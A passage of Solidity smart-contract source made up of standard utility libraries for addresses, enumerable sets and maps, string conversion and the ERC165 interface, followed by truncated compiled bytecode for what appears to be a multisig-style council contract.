returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061012d5760003560e01c8063b5dc40c3116100a5578063d4c3fd8211610074578063dbe637c611610059578063dbe637c6146104f4578063dc8452cd146105d0578063f84eef0b146105e55761016a565b8063d4c3fd82146104af578063d74f8edd146104df5761016a565b8063b5dc40c314610416578063b77bf60014610440578063ba51a6df14610455578063cfcb565d1461047f5761016a565b80638b51d13f116100fc5780639d41f12f116100e15780639d41f12f14610383578063a8abe69a146103c1578063affe39c1146104015761016a565b80638b51d13f1461028a5780639ace38c2146102b45761016a565b80633c5369381461016f57806354741525146101a157806357de5385146101e7578063784547a71461024c5761016a565b3661016a5760408051348152905133917ff32a9f77675fd5917534c7746608fd3e309eac68fbdcbf5925e24ca97a704396919081900360200190a2005b600080fd5b34801561017b57600080fd5b5061019f6004803603604081101561019257600080fd5b5080359060200135610615565b005b3480156101ad57600080fd5b506101d5600480360360408110156101c457600080fd5b508035151590602001351515610c79565b60408051918252519081900360200190f35b3480156101f357600080fd5b506101fc610ce7565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610238578181015183820152602001610220565b505050509050019250505060405180910390f35b34801561025857600080fd5b506102766004803603602081101561026f57600080fd5b5035610e20565b604080519115158252519081900360200190f35b34801561029657600080fd5b506101d5600480360360208110156102ad57600080fd5b5035610eb1565b3480156102c057600080fd5b506102de600480360360208110156102d757600080fd5b5035610f1f565b604051808573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315158152602001828103825284818151815260200191508051906020019080838360005b8381101561034557818101518382015260200161032d565b50505050905090810190601f1680156103725780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561038f57600080fd5b50610398611008565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156103cd57600080fd5b506101fc600480360360808110156103e457600080fd5b508035906020810135906040810135151590606001351515611024565b34801561040d57600080fd5b506101fc611183565b34801561042257600080fd5b506101fc6004803603602081101561043957600080fd5b50356113e3565b34801561044c57600080fd5b506101d5611556565b34801561046157600080fd5b5061019f6004803603602081101561047857600080fd5b503561155c565b34801561048b57600080fd5b5061019f600480360360408110156104a257600080fd5b5080359060200135611662565b3480156104bb57600080fd5b50610276600480360360408110156104d257600080fd5b5080359060200135611b1f565b3480156104eb57600080fd5b506101d5611b3f565b34801561050057600080fd5b506101d56004803603608081101561051757600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff602082013516916040820135919081019060808101606082013564010000000081111561055b57600080fd5b82018360208201111561056d57600080fd5b8035906020019184600183028401116401000000008311171561058f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611b44945050505050565b3480156105dc57600080fd5b506101d5611b67565b3480156105f157600080fd5b5061019f6004803603604081101561060857600080fd5b5080359060200135611b6d565b600254604080517f1a0813300000000000000000000000000000000000000000000000000000000081529051849273ffffffffffffffffffffffffffffffffffffffff1691631a081330916004808301926020929190829003018186803b15801561067f57600080fd5b505afa158015610693573d6000803e3d6000fd5b505050506040513d60208110156106a957600080fd5b505115801561074a5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ccbac9f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561071b57600080fd5b505afa15801561072f573d6000803e3d6000fd5b505050506040513d602081101561074557600080fd5b505115155b61079b576040805162461bcd60e51b815260206004820152601960248201527f636f756e63696c206973206e6f74207365742075702079657400000000000000604482015290519081900360640190fd5b600254604080517f6352211e000000000000000000000000000000000000000000000000000000008152600481018490529051339273ffffffffffffffffffffffffffffffffffffffff1691636352211e916024808301926020929190829003018186803b15801561080c57600080fd5b505afa158015610820573d6000803e3d6000fd5b505050506040513d602081101561083657600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146108a0576040805162461bcd60e51b815260206004820152601160248201527f6e6f7420612076616c6964206f776e6572000000000000000000000000000000604482015290519081900360640190fd5b600254604080517f4f062c5a00000000000000000000000000000000000000000000000000000000815260048101849052905160019273ffffffffffffffffffffffffffffffffffffffff1691634f062c5a916024808301926020929190829003018186803b15801561091257600080fd5b505afa158015610926573d6000803e3d6000fd5b505050506040513d602081101561093c57600080fd5b5051600581111561094957fe5b111561099c576040805162461bcd60e51b815260206004820152601b60248201527f6f776e6572206973206e6f74207573656c65737320656e6f7567680000000000604482015290519081900360640190fd5b60008281526001602090815260408083208684529091529020548290849060ff166109f85760405162461bcd60e51b81526004018080602001828103825260308152602001806128636030913960400191505060405180910390fd5b600084815260208190526040902060030154849060ff1615610a4b5760405162461bcd60e51b815260040180806020018281038252602781526020018061283c6027913960400191505060405180910390fd5b610a5485610e20565b15610c715760008581526020818152604080832060038101805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116811790915581548183015460028085018054875161010096821615969096027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011691909104601f8101889004880285018801909652858452939695606095610b6e9573ffffffffffffffffffffffffffffffffffffffff90941694929391830182828015610b645780601f10610b3957610100808354040283529160200191610b64565b820191906000526020600020905b815481529060010190602001808311610b4757829003601f168201915b5050505050612014565b915091508115610ba85760405188907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2610c6d565b877ff46b9a37318f375b6612b0522f04ac289129cafb279d379fa487be62a147477c826040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c08578181015183820152602001610bf0565b50505050905090810190601f168015610c355780820380516001836020036101000a031916815260200191505b509250505060405180910390a26003830180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555b5050505b505050505050565b600080805b600454811015610cdf57848015610ca7575060008181526020819052604090206003015460ff16155b80610ccb5750838015610ccb575060008181526020819052604090206003015460ff165b15610cd7576001820191505b600101610c7e565b509392505050565b600254604080517ff3e30f36000000000000000000000000000000000000000000000000000000008152905160609273ffffffffffffffffffffffffffffffffffffffff169163f3e30f36916004808301926000929190829003018186803b158015610d5257600080fd5b505afa158015610d66573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610d8f57600080fd5b8101908080516040519392919084640100000000821115610daf57600080fd5b908301906020820185811115610dc457600080fd5b8251866020820283011164010000000082111715610de157600080fd5b82525081516020918201928201910280838360005b83811015610e0e578181015183820152602001610df6565b50505050905001604052505050905090565b60006060610e2c610ce7565b90506000805b8251811015610ea457600160008681526020019081526020016000206000848381518110610e5c57fe5b60209081029190910181015182528101919091526040016000205460ff1615610e86576001820191505b600354821415610e9c5760019350505050610eac565b600101610e32565b506000925050505b919050565b60006060610ebd610ce7565b90506000805b8251811015610cdf57600160008681526020019081526020016000206000848381518110610eed57fe5b60209081029190910181015182528101919091526040016000205460ff1615610f17576001820191505b600101610ec3565b60006020818152918152604090819020805460018083015460028085018054875161010095821615959095027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011691909104601f810188900488028401880190965285835273ffffffffffffffffffffffffffffffffffffffff90931695909491929190830182828015610ff55780601f10610fca57610100808354040283529160200191610ff5565b820191906000526020600020905b815481529060010190602001808311610fd857829003601f168201915b5050506003909301549192505060ff1684565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60608060045467ffffffffffffffff8111801561104057600080fd5b5060405190808252806020026020018201604052801561106a578160200160208202803683370190505b5090506000805b6004548110156110eb5785801561109a575060008181526020819052604090206003015460ff16155b806110be57508480156110be575060008181526020819052604090206003015460ff165b156110e357808383815181106110d057fe5b6020026020010181815250506001820191505b600101611071565b606088880367ffffffffffffffff8111801561110657600080fd5b50604051908082528060200260200182016040528015611130578160200160208202803683370190505b5090508891505b878210156111775783828151811061114b57fe5b6020026020010151818a84038151811061116157fe5b6020908102919091010152600190910190611137565b98975050505050505050565b600254604080517ff3e30f36000000000000000000000000000000000000000000000000000000008152905160609273ffffffffffffffffffffffffffffffffffffffff16918391839163f3e30f36916004808301926000929190829003018186803b1580156111f257600080fd5b505afa158015611206573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561122f57600080fd5b810190808051604051939291908464010000000082111561124f57600080fd5b90830190602082018581111561126457600080fd5b825186602082028301116401000000008211171561128157600080fd5b82525081516020918201928201910280838360005b838110156112ae578181015183820152602001611296565b5050505090500160405250505090506060815167ffffffffffffffff811180156112d757600080fd5b50604051908082528060200260200182016040528015611301578160200160208202803683370190505b50905060005b82518110156113db578373ffffffffffffffffffffffffffffffffffffffff16636352211e84838151811061133857fe5b60200260200101516040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561137457600080fd5b505afa158015611388573d6000803e3d6000fd5b505050506040513d602081101561139e57600080fd5b505182518390839081106113ae57fe5b73ffffffffffffffffffffffffffffffffffffffff90921660209283029190910190910152600101611307565b509250505090565b6060806113ee610ce7565b90506060815167ffffffffffffffff8111801561140a57600080fd5b50604051908082528060200260200182016040528015611434578160200160208202803683370190505b5090506000805b83518110156114c35760016000878152602001908152602001600020600085838151811061146557fe5b60209081029190910181015182528101919091526040016000205460ff16156114bb5783818151811061149457fe5b60200260200101518383815181106114a857fe5b6020026020010181815250506001820191505b60010161143b565b60608267ffffffffffffffff811180156114dc57600080fd5b50604051908082528060200260200182016040528015611506578160200160208202803683370190505b509050600091505b8282101561154c5783828151811061152257fe5b602002602001015181838151811061153657fe5b602090810291909101015260019091019061150e565b9695505050505050565b60045481565b3330146115b0576040805162461bcd60e51b815260206004820152601a60248201527f6f6e6c79207468697320636f756e63696c2063616e2063616c6c000000000000604482015290519081900360640190fd5b6115b8611183565b51818181111580156115c957508015155b80156115d457508115155b611625576040805162461bcd60e51b815260206004820152601860248201527f726571756972656d656e747320617265207573656c6573730000000000000000604482015290519081900360640190fd5b60038390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b600254604080517f1a0813300000000000000000000000000000000000000000000000000000000081529051849273ffffffffffffffffffffffffffffffffffffffff1691631a081330916004808301926020929190829003018186803b1580156116cc57600080fd5b505afa1580156116e0573d6000803e3d6000fd5b505050506040513d60208110156116f657600080fd5b50511580156117975750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ccbac9f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561176857600080fd5b505afa15801561177c573d6000803e3d6000fd5b505050506040513d602081101561179257600080fd5b505115155b6117e8576040805162461bcd60e51b815260206004820152601960248201527f636f756e63696c206973206e6f74207365742075702079657400000000000000604482015290519081900360640190fd5b600254604080517f6352211e000000000000000000000000000000000000000000000000000000008152600481018490529051339273ffffffffffffffffffffffffffffffffffffffff1691636352211e916024808301926020929190829003018186803b15801561185957600080fd5b505afa15801561186d573d6000803e3d6000fd5b505050506040513d602081101561188357600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146118ed576040805162461bcd60e51b815260206004820152601160248201527f6e6f7420612076616c6964206f776e6572000000000000000000000000000000604482015290519081900360640190fd5b600254604080517f4f062c5a00000000000000000000000000000000000000000000000000000000815260048101849052905160019273ffffffffffffffffffffffffffffffffffffffff1691634f062c5a916024808301926020929190829003018186803b15801561195f57600080fd5b505afa158015611973573d6000803e3d6000fd5b505050506040513d602081101561198957600080fd5b5051600581111561199657fe5b11156119e9576040805162461bcd60e51b815260206004820152601b60248201527f6f776e6572206973206e6f74207573656c65737320656e6f7567680000000000604482015290519081900360640190fd5b600082815260208190526040902054829073ffffffffffffffffffffffffffffffffffffffff16611a4b5760405162461bcd60e51b815260040180806020018281038252602281526020018061281a6022913960400191505060405180910390fd5b60008381526001602090815260408083208784529091529020548390859060ff1615611aa85760405162461bcd60e51b81526004018080602001828103825260288152602001806128936028913960400191505060405180910390fd5b60008581526001602081815260408084208a855290915280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690921790915551869188917f84c2aaebfb1942673ba9f4ad48884e4202e2623f2ad763a97b07b0f7401416d99190a3610c718686610615565b600160209081526000928352604080842090915290825290205460ff1681565b603281565b600080611b528585856123ca565b9050611b5e8682611662565b95945050505050565b60035481565b600254604080517f1a0813300000000000000000000000000000000000000000000000000000000081529051849273ffffffffffffffffffffffffffffffffffffffff1691631a081330916004808301926020929190829003018186803b158015611bd757600080fd5b505afa158015611beb573d6000803e3d6000fd5b505050506040513d6020811015611c0157600080fd5b5051158015611ca25750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff